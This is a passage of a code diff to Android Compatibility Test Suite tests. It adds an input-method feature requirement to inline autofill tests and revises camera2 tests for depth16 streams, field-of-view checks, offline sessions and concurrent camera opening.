+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testOneDatasetAndSave() throws Exception {
         enableService();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
index e9675b1..c761d02 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
@@ -26,6 +26,7 @@
 import android.autofillservice.cts.Helper;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 // TODO: Move any tests needed from here into DatasetFilteringInlineTest.
 /**
@@ -45,6 +46,11 @@
         Helper.enableAutofillService(getContext(), SERVICE_NAME);
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testFiltering_filtersByPrefix() throws Exception {
         enableService();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index 74a7d3a..6aff0d5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -16,6 +16,7 @@
 
 package android.autofillservice.cts.inline;
 
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
 import static android.autofillservice.cts.Helper.ID_PASSWORD;
 import static android.autofillservice.cts.Helper.ID_USERNAME;
 import static android.autofillservice.cts.Helper.assertTextIsSanitized;
@@ -47,6 +48,7 @@
 import com.android.cts.mockime.MockImeSession;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 public class InlineLoginActivityTest extends LoginActivityCommonTestCase {
 
@@ -66,6 +68,11 @@
         return true;
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testAutofill_disjointDatasets() throws Exception {
         // Set service.
@@ -131,15 +138,16 @@
 
     @Test
     public void testAutofill_SwitchToAutofillableActivity() throws Exception {
-        assertAutofill_SwitchActivity(UsernameOnlyActivity.class);
+        assertAutofill_SwitchActivity(UsernameOnlyActivity.class, /* autofillable */ true);
     }
 
     @Test
     public void testAutofill_SwitchToNonAutofillableActivity() throws Exception {
-        assertAutofill_SwitchActivity(NonAutofillableActivity.class);
+        assertAutofill_SwitchActivity(NonAutofillableActivity.class, /* autofillable */ false);
     }
 
-    private void assertAutofill_SwitchActivity(Class<?> clazz) throws Exception {
+    private void assertAutofill_SwitchActivity(Class<?> clazz, boolean autofillable)
+            throws Exception {
         // Set service.
         enableService();
 
@@ -170,6 +178,10 @@
         // Trigger input method show.
         mUiBot.selectByRelativeId(ID_USERNAME);
         mUiBot.waitForIdleSync();
+        if (autofillable) {
+            sReplier.addResponse(NO_RESPONSE);
+            sReplier.getNextFillRequest();
+        }
         // Make sure suggestion is not shown.
         mUiBot.assertNoDatasets();
     }
@@ -358,9 +370,8 @@
         enableService();
 
         final int firstDataset = 1;
-        final int lastDataset = 6;
         final CannedFillResponse.Builder builder = new CannedFillResponse.Builder();
-        for (int i = firstDataset; i <= lastDataset; i++) {
+        for (int i = firstDataset; i <= 20; i++) {
             builder.addDataset(new CannedFillResponse.CannedDataset.Builder()
                     .setField(ID_USERNAME, "dude" + i)
                     .setPresentation(createPresentation("Username" + i))
@@ -375,14 +386,12 @@
         mUiBot.waitForIdleSync();
 
         mUiBot.assertSuggestion("Username" + firstDataset);
-        mUiBot.assertNoSuggestion("Username" + lastDataset);
 
         // Scroll the suggestion view
         mUiBot.scrollSuggestionView(Direction.RIGHT, /* speed */ 5000);
         mUiBot.waitForIdleSync();
 
         mUiBot.assertNoSuggestion("Username" + firstDataset);
-        mUiBot.assertSuggestion("Username" + lastDataset);
 
         sReplier.getNextFillRequest();
         mUiBot.waitForIdleSync();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
index c2b5515..42f4f16 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
@@ -36,6 +36,7 @@
 import androidx.annotation.NonNull;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 public class InlineSimpleSaveActivityTest
         extends AutoFillServiceTestCase.AutoActivityLaunch<SimpleSaveActivity> {
@@ -63,6 +64,11 @@
         };
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testAutofillSave() throws Exception {
         // Set service.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java
index ca8e473..af53383 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java
@@ -21,14 +21,19 @@
 import static android.autofillservice.cts.Timeouts.UI_TIMEOUT;
 
 import android.autofillservice.cts.UiBot;
+import android.content.pm.PackageManager;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.Direction;
 import android.support.test.uiautomator.UiObject2;
 
+import com.android.compatibility.common.util.RequiredFeatureRule;
 import com.android.compatibility.common.util.Timeout;
 import com.android.cts.mockime.MockIme;
 
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+
 /**
  * UiBot for the inline suggestion.
  */
@@ -39,6 +44,9 @@
 
     private static final BySelector SUGGESTION_STRIP_SELECTOR = By.desc(SUGGESTION_STRIP_DESC);
 
+    private static final RequiredFeatureRule REQUIRES_IME_RULE = new RequiredFeatureRule(
+            PackageManager.FEATURE_INPUT_METHODS);
+
     public InlineUiBot() {
         this(UI_TIMEOUT);
     }
@@ -47,6 +55,10 @@
         super(defaultTimeout);
     }
 
+    public static RuleChain annotateRule(TestRule rule) {
+        return RuleChain.outerRule(REQUIRES_IME_RULE).around(rule);
+    }
+
     @Override
     public void assertNoDatasets() throws Exception {
         assertNoDatasetsEver();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
index d5f0503..63cf648 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
@@ -40,6 +40,7 @@
 import android.view.ViewStructure.HtmlInfo;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 public class InlineWebViewActivityTest extends AbstractWebViewTestCase<WebViewActivity> {
 
@@ -77,6 +78,11 @@
         return true;
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testAutofillNoDatasets() throws Exception {
         // Set service.
diff --git a/tests/backup/AndroidTest.xml b/tests/backup/AndroidTest.xml
index 1f99fdb..ec0ade5 100644
--- a/tests/backup/AndroidTest.xml
+++ b/tests/backup/AndroidTest.xml
@@ -27,6 +27,7 @@
        -remove SwitchUserTargetPreparer
     -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
     <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
         <option name="user-type" value="system" />
     </target_preparer>
diff --git a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
index 776879d..a3e6256 100644
--- a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
@@ -431,7 +431,7 @@
         int width = size.getWidth();
         int height = size.getHeight();
         /**
-         * Check the input allocation is sane.
+         * Check the input allocation is valid.
          * - Byte size matches what we expect.
          * - The input is not all zeroes.
          */
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
index 1f90f1c..4374db9 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
@@ -17,6 +17,7 @@
 package android.hardware.camera2.cts;
 
 import static android.hardware.camera2.cts.CameraTestUtils.*;
+import static com.android.ex.camera2.blocking.BlockingCameraManager.*;
 import static com.android.ex.camera2.blocking.BlockingStateCallback.*;
 import static com.android.ex.camera2.blocking.BlockingSessionCallback.*;
 import static org.mockito.Mockito.*;
@@ -2776,35 +2777,23 @@
             assertTrue("Audio restriction mode mismatch: input: " + mode0 + ", output:" + retMode,
                     retMode == mode0);
 
-            cam1 = CameraTestUtils.openCamera(mCameraManager, id1, cam1Cb, mHandler);
+            try {
+                cam1 = CameraTestUtils.openCamera(mCameraManager, id1, cam1Cb, mHandler);
+            } catch (CameraAccessException | BlockingOpenException e) {
+                Log.i(TAG, "Camera " + id1 + "cannot be opened along with camera " + id0 +
+                        ", skipping the test");
+                return;
+            }
             cam1Cb.waitForState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
 
             // See if cam0 is evicted.
-            boolean cam0Evicted = true;
             try {
                 final int cameraEvictedTimeoutMs = 1000;
                 cam0Cb.waitForState(STATE_DISCONNECTED, cameraEvictedTimeoutMs);
+                fail("Opened camera " + id0 + " is evicted by a later open call for camera " +
+                        id1 + " from the same process");
             } catch (TimeoutRuntimeException e) {
                 // camera 0 is not evicted
-                cam0Evicted = false;
-            }
-
-            if (cam0Evicted) {
-                Log.i(TAG, "Camera " + id0 + " is evicted. Testing camera " + id1 + " alone.");
-                // cam0 is evicted
-                try {
-                    cam0.setCameraAudioRestriction(mode0);
-                    fail("Should get CameraAccessException for disconnected camera.");
-                } catch (CameraAccessException e) {
-                    // expected
-                }
-                // Test the behavior for single remaining client
-                int mode1 = CameraDevice.AUDIO_RESTRICTION_VIBRATION;
-                cam1.setCameraAudioRestriction(mode1);
-                retMode = cam1.getCameraAudioRestriction();
-                assertTrue("Audio restriction mode mismatch: input: " + mode1 +
-                        ", output:" + retMode, retMode == mode1);
-                return;
             }
 
             // The output mode should be union of all CameraDevices
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index 5fe5d2f..ff1bdb7 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -138,6 +138,8 @@
             case CameraAccessException.CAMERA_DISABLED:
             case CameraAccessException.CAMERA_DISCONNECTED:
             case CameraAccessException.CAMERA_ERROR:
+            case CameraAccessException.CAMERA_IN_USE:
+            case CameraAccessException.MAX_CAMERAS_IN_USE:
                 return reason;
         }
 
@@ -188,7 +190,8 @@
         }
 
         // Test an external camera is connected if FEATURE_CAMERA_EXTERNAL is advertised
-        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL)) {
+        if (!mAdoptShellPerm &&
+                mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL)) {
             assertTrue("External camera is not connected on device with FEATURE_CAMERA_EXTERNAL",
                     externalCameraConnected);
         }
@@ -374,11 +377,13 @@
                         mCameraManager.openCamera(cameraId, mCameraListener, mHandler);
                     }
                 } catch (CameraAccessException e) {
-                    if (checkCameraAccessExceptionReason(e) == CameraAccessException.CAMERA_ERROR) {
-                        expectingError = true;
-                    } else {
+                    int reason = checkCameraAccessExceptionReason(e);
+                    if (reason == CameraAccessException.CAMERA_DISCONNECTED ||
+                            reason == CameraAccessException.CAMERA_DISABLED) {
                         // TODO: We should handle a Disabled camera by passing here and elsewhere
                         fail("Camera must not be disconnected or disabled for this test" + ids[i]);
+                    } else {
+                        expectingError = true;
                     }
                 }
 
@@ -421,7 +426,8 @@
                     verify(mockListener)
                             .onError(
                                     argument.capture(),
-                                    eq(CameraDevice.StateCallback.ERROR_MAX_CAMERAS_IN_USE));
+                                    eq(CameraDevice.StateCallback.ERROR_MAX_CAMERAS_IN_USE)
+                            );
                     verifyNoMoreInteractions(mockListener);
 
                     camera = argument.getValue();
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 4a4aa0d8..90a7dcd 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -2361,7 +2361,7 @@
                         result.get(CaptureResult.TONEMAP_PRESET_CURVE));
             }
 
-            // Tonemap curve result availability and basic sanity check for all modes.
+            // Tonemap curve result availability and basic validity check for all modes.
             mCollector.expectValuesInRange("Tonemap curve red values are out of range",
                     CameraTestUtils.toObject(mapRed), /*min*/ZERO, /*max*/ONE);
             mCollector.expectInRange("Tonemap curve red length is out of range",
@@ -2999,8 +2999,9 @@
      */
     private void changeExposure(CaptureRequest.Builder requestBuilder,
             long expTime, int sensitivity) {
-        // Check if the max analog sensitivity is available and no larger than max sensitivity.
-        // The max analog sensitivity is not actually used here. This is only an extra sanity check.
+        // Check if the max analog sensitivity is available and no larger than max sensitivity.  The
+        // max analog sensitivity is not actually used here. This is only an extra correctness
+        // check.
         mStaticInfo.getMaxAnalogSensitivityChecked();
 
         expTime = mStaticInfo.getExposureClampToRange(expTime);
diff --git a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
index 6ee7ec2..d04ac12 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
@@ -79,6 +79,7 @@
         public List<ImageReader> y8Targets = new ArrayList<ImageReader>();
         public List<ImageReader> rawTargets = new ArrayList<ImageReader>();
         public List<ImageReader> heicTargets = new ArrayList<ImageReader>();
+        public List<ImageReader> depth16Targets = new ArrayList<ImageReader>();
         public TestSample(String cameraId, StaticMetadata staticInfo,
                 MandatoryStreamCombination combination, boolean subY8) {
             this.cameraId = cameraId;
@@ -247,9 +248,9 @@
             CameraTestUtils.setupConfigurationTargets(
                 testSample.combination.getStreamsInformation(), testSample.privTargets,
                 testSample.jpegTargets, testSample.yuvTargets, testSample.y8Targets,
-                testSample.rawTargets, testSample.heicTargets, testSample.outputConfigs,
-                MIN_RESULT_COUNT, testSample.substituteY8, /*substituteHEIC*/false,
-                /*physicalCameraId*/null, mHandler);
+                testSample.rawTargets, testSample.heicTargets, testSample.depth16Targets,
+                testSample.outputConfigs, MIN_RESULT_COUNT, testSample.substituteY8,
+                /*substituteHEIC*/false, /*physicalCameraId*/null, mHandler);
 
             try {
                 checkSessionConfigurationSupported(info.mCamera, mHandler, testSample.outputConfigs,
@@ -344,6 +345,9 @@
             for (ImageReader target : testSample.heicTargets) {
                 target.close();
             }
+            for (ImageReader target : testSample.depth16Targets) {
+                target.close();
+            }
         }
     }
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 07155ff..7bf1f4c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -2084,7 +2084,7 @@
     }
 
     /**
-     * Sanity check of optical black regions.
+     * Correctness check of optical black regions.
      */
     @Test
     public void testOpticalBlackRegions() {
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
index 99c6b33..6cfa435 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
@@ -187,7 +187,7 @@
         texture.setDefaultBufferSize(640, 480);
         Surface surface = new Surface(texture);
 
-        // Make sure that the default newInstance is still sane.
+        // Make sure that the default newInstance is still valid.
         ImageWriter defaultWriter = ImageWriter.newInstance(surface, MAX_NUM_IMAGES);
         Image defaultImage = defaultWriter.dequeueInputImage();
         defaultWriter.close();
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index 4a88c84..56c2652 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -92,7 +92,6 @@
 
     private static final double FRAME_DURATION_THRESHOLD = 0.03;
     private static final double FOV_THRESHOLD = 0.03;
-    private static final double ASPECT_RATIO_THRESHOLD = 0.03;
     private static final long MAX_TIMESTAMP_DIFFERENCE_THRESHOLD = 10000000; // 10ms
 
     private StateWaiter mSessionWaiter;
@@ -994,51 +993,56 @@
     }
 
     /**
-     * Validate that physical cameras' crop region are compensated based on focal length.
+     * Validate that physical cameras are not cropping too much.
      *
-     * This is to make sure physical processed streams have the same field of view as long as
-     * the physical cameras supports it.
+     * This is to make sure physical processed streams have at least the same field of view as
+     * the logical stream, or the maximum field of view of the physical camera, whichever is
+     * smaller.
+     *
+     * Note that the FOV is calculated in the directio of sensor width.
      */
     private void validatePhysicalCamerasFov(TotalCaptureResult totalCaptureResult,
             List<String> physicalCameraIds) {
         Rect cropRegion = totalCaptureResult.get(CaptureResult.SCALER_CROP_REGION);
         Float focalLength = totalCaptureResult.get(CaptureResult.LENS_FOCAL_LENGTH);
-        float cropAspectRatio = (float)cropRegion.width() / cropRegion.height();
+        Float zoomRatio = totalCaptureResult.get(CaptureResult.CONTROL_ZOOM_RATIO);
+        Rect activeArraySize = mStaticInfo.getActiveArraySizeChecked();
+        SizeF sensorSize = mStaticInfo.getValueFromKeyNonNull(
+                CameraCharacteristics.SENSOR_INFO_PHYSICAL_SIZE);
 
         // Assume subject distance >> focal length, and subject distance >> camera baseline.
-        float fov = cropRegion.width() / (2 * focalLength);
+        double fov = 2 * Math.toDegrees(Math.atan2(sensorSize.getWidth() * cropRegion.width() /
+                (2 * zoomRatio * activeArraySize.width()),  focalLength));
+
         Map<String, CaptureResult> physicalResultsDual =
                     totalCaptureResult.getPhysicalCameraResults();
         for (String physicalId : physicalCameraIds) {
+            StaticMetadata physicalStaticInfo = mAllStaticInfo.get(physicalId);
             CaptureResult physicalResult = physicalResultsDual.get(physicalId);
             Rect physicalCropRegion = physicalResult.get(CaptureResult.SCALER_CROP_REGION);
-            final Float physicalFocalLength = physicalResult.get(CaptureResult.LENS_FOCAL_LENGTH);
+            Float physicalFocalLength = physicalResult.get(CaptureResult.LENS_FOCAL_LENGTH);
+            Float physicalZoomRatio = physicalResult.get(CaptureResult.CONTROL_ZOOM_RATIO);
+            Rect physicalActiveArraySize = physicalStaticInfo.getActiveArraySizeChecked();
+            SizeF physicalSensorSize = mStaticInfo.getValueFromKeyNonNull(
+                    CameraCharacteristics.SENSOR_INFO_PHYSICAL_SIZE);
 
-            StaticMetadata staticInfo = mAllStaticInfo.get(physicalId);
-            final Rect activeArraySize = staticInfo.getActiveArraySizeChecked();
-            final Float maxDigitalZoom = staticInfo.getAvailableMaxDigitalZoomChecked();
-            int maxWidth = activeArraySize.width();
-            int minWidth = (int)(activeArraySize.width() / maxDigitalZoom);
-            int expectedCropWidth = Math.max(Math.min(Math.round(fov * 2 * physicalFocalLength),
-                    maxWidth), minWidth);
+            double physicalFov = 2 * Math.toDegrees(Math.atan2(
+                    physicalSensorSize.getWidth() * physicalCropRegion.width() /
+                    (2 * physicalZoomRatio * physicalActiveArraySize.width()), physicalFocalLength));
 
-            // Makes sure FOV matches to the maximum extent.
-            assertTrue("Physical stream FOV (Field of view) should match logical stream to most "
-                    + "extent. Crop region actual width " + physicalCropRegion.width() +
-                    " vs expected width " + expectedCropWidth,
-                    Math.abs((float)physicalCropRegion.width() - expectedCropWidth) /
-                    expectedCropWidth < FOV_THRESHOLD);
+            double maxPhysicalFov = 2 * Math.toDegrees(Math.atan2(physicalSensorSize.getWidth() / 2,
+                    physicalFocalLength));
+            double expectedPhysicalFov = Math.min(maxPhysicalFov, fov);
 
-            // Makes sure aspect ratio matches.
-            float physicalCropAspectRatio =
-                    (float)physicalCropRegion.width() / physicalCropRegion.height();
-            assertTrue("Physical stream for camera " + physicalId + " aspect ratio " +
-                    physicalCropAspectRatio + " should match logical streams aspect ratio " +
-                    cropAspectRatio, Math.abs(physicalCropAspectRatio - cropAspectRatio) <
-                    ASPECT_RATIO_THRESHOLD);
+            if (VERBOSE) {
+                Log.v(TAG, "Logical camera Fov: " + fov + ", maxPhyiscalFov: " + maxPhysicalFov +
+                        ", physicalFov: " + physicalFov);
+            }
+            assertTrue("Physical stream FOV (Field of view) should be greater or equal to"
+                    + " min(logical stream FOV, max physical stream FOV). Physical FOV: "
+                    + physicalFov + " vs min(" + fov + ", " + maxPhysicalFov,
+                    physicalFov - expectedPhysicalFov > -FOV_THRESHOLD);
         }
-
-
     }
 
     /**
diff --git a/tests/camera/src/android/hardware/camera2/cts/OfflineSessionTest.java b/tests/camera/src/android/hardware/camera2/cts/OfflineSessionTest.java
index 6c60e5f..2eb6004 100644
--- a/tests/camera/src/android/hardware/camera2/cts/OfflineSessionTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/OfflineSessionTest.java
@@ -59,6 +59,8 @@
 import java.util.ArrayList;
 import java.util.List;
 
+import junit.framework.AssertionFailedError;
+
 @RunWith(Parameterized.class)
 public class OfflineSessionTest extends Camera2SurfaceViewTestCase {
     private static final String TAG = "OfflineSessionTest";
@@ -325,19 +327,19 @@
                 }
 
                 openDevice(mCameraIdsUnderTest[i]);
-                camera2OfflineSessionTest(mCameraIdsUnderTest[i], mOrderedStillSizes.get(0),
-                        ImageFormat.JPEG, OfflineTestSequence.CloseDeviceAndOpenRemote);
-
-                // Verify that the remote camera was opened correctly
-                List<ErrorLoggingService.LogEvent> allEvents = null;
-                try {
-                    allEvents = errorConnection.getLog(WAIT_FOR_STATE_TIMEOUT_MS,
-                            TestConstants.EVENT_CAMERA_CONNECT);
-                } catch (TimeoutException e) {
-                    fail("Timed out waiting on remote offline process error log!");
+                if (camera2OfflineSessionTest(mCameraIdsUnderTest[i], mOrderedStillSizes.get(0),
+                            ImageFormat.JPEG, OfflineTestSequence.CloseDeviceAndOpenRemote)) {
+                    // Verify that the remote camera was opened correctly
+                    List<ErrorLoggingService.LogEvent> allEvents = null;
+                    try {
+                        allEvents = errorConnection.getLog(WAIT_FOR_STATE_TIMEOUT_MS,
+                                TestConstants.EVENT_CAMERA_CONNECT);
+                    } catch (TimeoutException e) {
+                        fail("Timed out waiting on remote offline process error log!");
+                    }
+                    assertNotNull("Failed to connect to camera device in remote offline process!",
+                            allEvents);
                 }
-                assertNotNull("Failed to connect to camera device in remote offline process!",
-                        allEvents);
             } finally {
                 closeDevice();
 
@@ -481,6 +483,17 @@
         }
     }
 
+    private void checkForSequenceAbort(SimpleCaptureCallback resultListener, int sequenceId) {
+        ArrayList<Integer> abortedSeq = resultListener.geAbortedSequences(
+                1 /*maxNumbAborts*/);
+        assertNotNull("No aborted capture sequence ids present", abortedSeq);
+        assertTrue("Unexpected number of aborted capture sequence ids : " +
+                abortedSeq.size() + " expected 1", abortedSeq.size() == 1);
+        assertTrue("Unexpected abort capture sequence id: " +
+                abortedSeq.get(0).intValue() + " expected capture sequence id: " +
+                sequenceId, abortedSeq.get(0).intValue() == sequenceId);
+    }
+
     private void verifyCaptureResults(SimpleCaptureCallback resultListener,
             SimpleImageReaderListener imageListener, int sequenceId, boolean offlineResults)
             throws Exception {
@@ -524,8 +537,18 @@
                 sequenceLastFrameNumber, lastFrameNumberReceived);
     }
 
-    private void camera2OfflineSessionTest(String cameraId, Size offlineSize, int offlineFormat,
+    /**
+     * Verify offline session behavior during common use cases
+     *
+     * @param cameraId      Id of the camera device under test
+     * @param offlineSize   The offline surface size
+     * @param offlineFormat The offline surface pixel format
+     * @param testSequence  Specific scenario to be verified
+     * @return true if the offline session switch is successful, false if there is any failure.
+     */
+    private boolean camera2OfflineSessionTest(String cameraId, Size offlineSize, int offlineFormat,
             OfflineTestSequence testSequence) throws Exception {
+        boolean ret = false;
         int remoteOfflinePID = -1;
         Size previewSize = mOrderedPreviewSizes.get(0);
         for (Size sz : mOrderedPreviewSizes) {
@@ -571,7 +594,7 @@
 
         if (!mSession.supportsOfflineProcessing(mReaderSurface)) {
             Log.i(TAG, "Camera does not support offline processing for still capture output");
-            return;
+            return false;
         }
 
         // Configure the requests.
@@ -626,8 +649,16 @@
             verify(mockOfflineCb, times(0)).onError(offlineSession,
                     CameraOfflineSessionCallback.STATUS_INTERNAL_ERROR);
 
-            verifyCaptureResults(resultListener, null /*imageListener*/, repeatingSeqId,
-                    false /*offlineResults*/);
+            try {
+                verifyCaptureResults(resultListener, null /*imageListener*/, repeatingSeqId,
+                        false /*offlineResults*/);
+            } catch (AssertionFailedError e) {
+                if (testSequence == OfflineTestSequence.RepeatingSequenceAbort) {
+                    checkForSequenceAbort(resultListener, repeatingSeqId);
+                } else {
+                    throw e;
+                }
+            }
             verifyCaptureResults(offlineResultListener, null /*imageListener*/, offlineSeqId,
                     true /*offlineResults*/);
         } else {
@@ -636,14 +667,7 @@
 
             switch (testSequence) {
                 case RepeatingSequenceAbort:
-                    ArrayList<Integer> abortedSeq = resultListener.geAbortedSequences(
-                            1 /*maxNumbAborts*/);
-                    assertNotNull("No aborted capture sequence ids present", abortedSeq);
-                    assertTrue("Unexpected number of aborted capture sequence ids : " +
-                            abortedSeq.size() + " expected 1", abortedSeq.size() == 1);
-                    assertTrue("Unexpected abort capture sequence id: " +
-                            abortedSeq.get(0).intValue() + " expected capture sequence id: " +
-                            repeatingSeqId, abortedSeq.get(0).intValue() == repeatingSeqId);
+                    checkForSequenceAbort(resultListener, repeatingSeqId);
                     break;
                 case CloseDeviceAndOpenRemote:
                     // According to the documentation, closing the initial camera device and
@@ -741,11 +765,15 @@
             offlineCb.waitForState(BlockingOfflineSessionCallback.STATE_CLOSED,
                   WAIT_FOR_STATE_TIMEOUT_MS);
             verify(mockOfflineCb, times(1)).onClosed(offlineSession);
+
+            ret = true;
         }
 
         closeImageReader();
 
         stopRemoteOfflineTestProcess(remoteOfflinePID);
+
+        return ret;
     }
 
     private void checkInitialResults(SimpleCaptureCallback resultListener) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 067104c..bf42ab7 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -2046,7 +2046,7 @@
     }
 
     /**
-     * Validate video snapshot capture image object sanity and test.
+     * Validate video snapshot capture image object validity and test.
      *
      * <p> Check for size, format and jpeg decoding</p>
      *
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 80a2fe95..32c927e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -327,10 +327,12 @@
         List<ImageReader> y8Targets = new ArrayList<ImageReader>();
         List<ImageReader> rawTargets = new ArrayList<ImageReader>();
         List<ImageReader> heicTargets = new ArrayList<ImageReader>();
+        List<ImageReader> depth16Targets = new ArrayList<ImageReader>();
 
         CameraTestUtils.setupConfigurationTargets(combination.getStreamsInformation(), privTargets,
-                jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets, outputConfigs,
-                MIN_RESULT_COUNT, substituteY8, substituteHeic, physicalCameraId, mHandler);
+                jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets, depth16Targets,
+                outputConfigs, MIN_RESULT_COUNT, substituteY8, substituteHeic, physicalCameraId,
+                mHandler);
 
         boolean haveSession = false;
         try {
@@ -416,6 +418,9 @@
         for (ImageReader target : heicTargets) {
             target.close();
         }
+        for (ImageReader target : depth16Targets) {
+            target.close();
+        }
     }
 
     /**
@@ -498,6 +503,7 @@
         List<ImageReader> y8Targets = new ArrayList<>();
         List<ImageReader> rawTargets = new ArrayList<>();
         List<ImageReader> heicTargets = new ArrayList<>();
+        List<ImageReader> depth16Targets = new ArrayList<>();
         ArrayList<Surface> outputSurfaces = new ArrayList<>();
         List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
         ImageReader inputReader = null;
@@ -527,7 +533,7 @@
             // separately.
             CameraTestUtils.setupConfigurationTargets(streamInfo.subList(2, streamInfo.size()),
                     privTargets, jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets,
-                    outputConfigs, NUM_REPROCESS_CAPTURES_PER_CONFIG, substituteY8,
+                    depth16Targets, outputConfigs, NUM_REPROCESS_CAPTURES_PER_CONFIG, substituteY8,
                     substituteHeic, null/*overridePhysicalCameraId*/, mHandler);
 
             outputSurfaces.ensureCapacity(outputConfigs.size());
@@ -649,6 +655,10 @@
                 target.close();
             }
 
+            for (ImageReader target : depth16Targets) {
+                target.close();
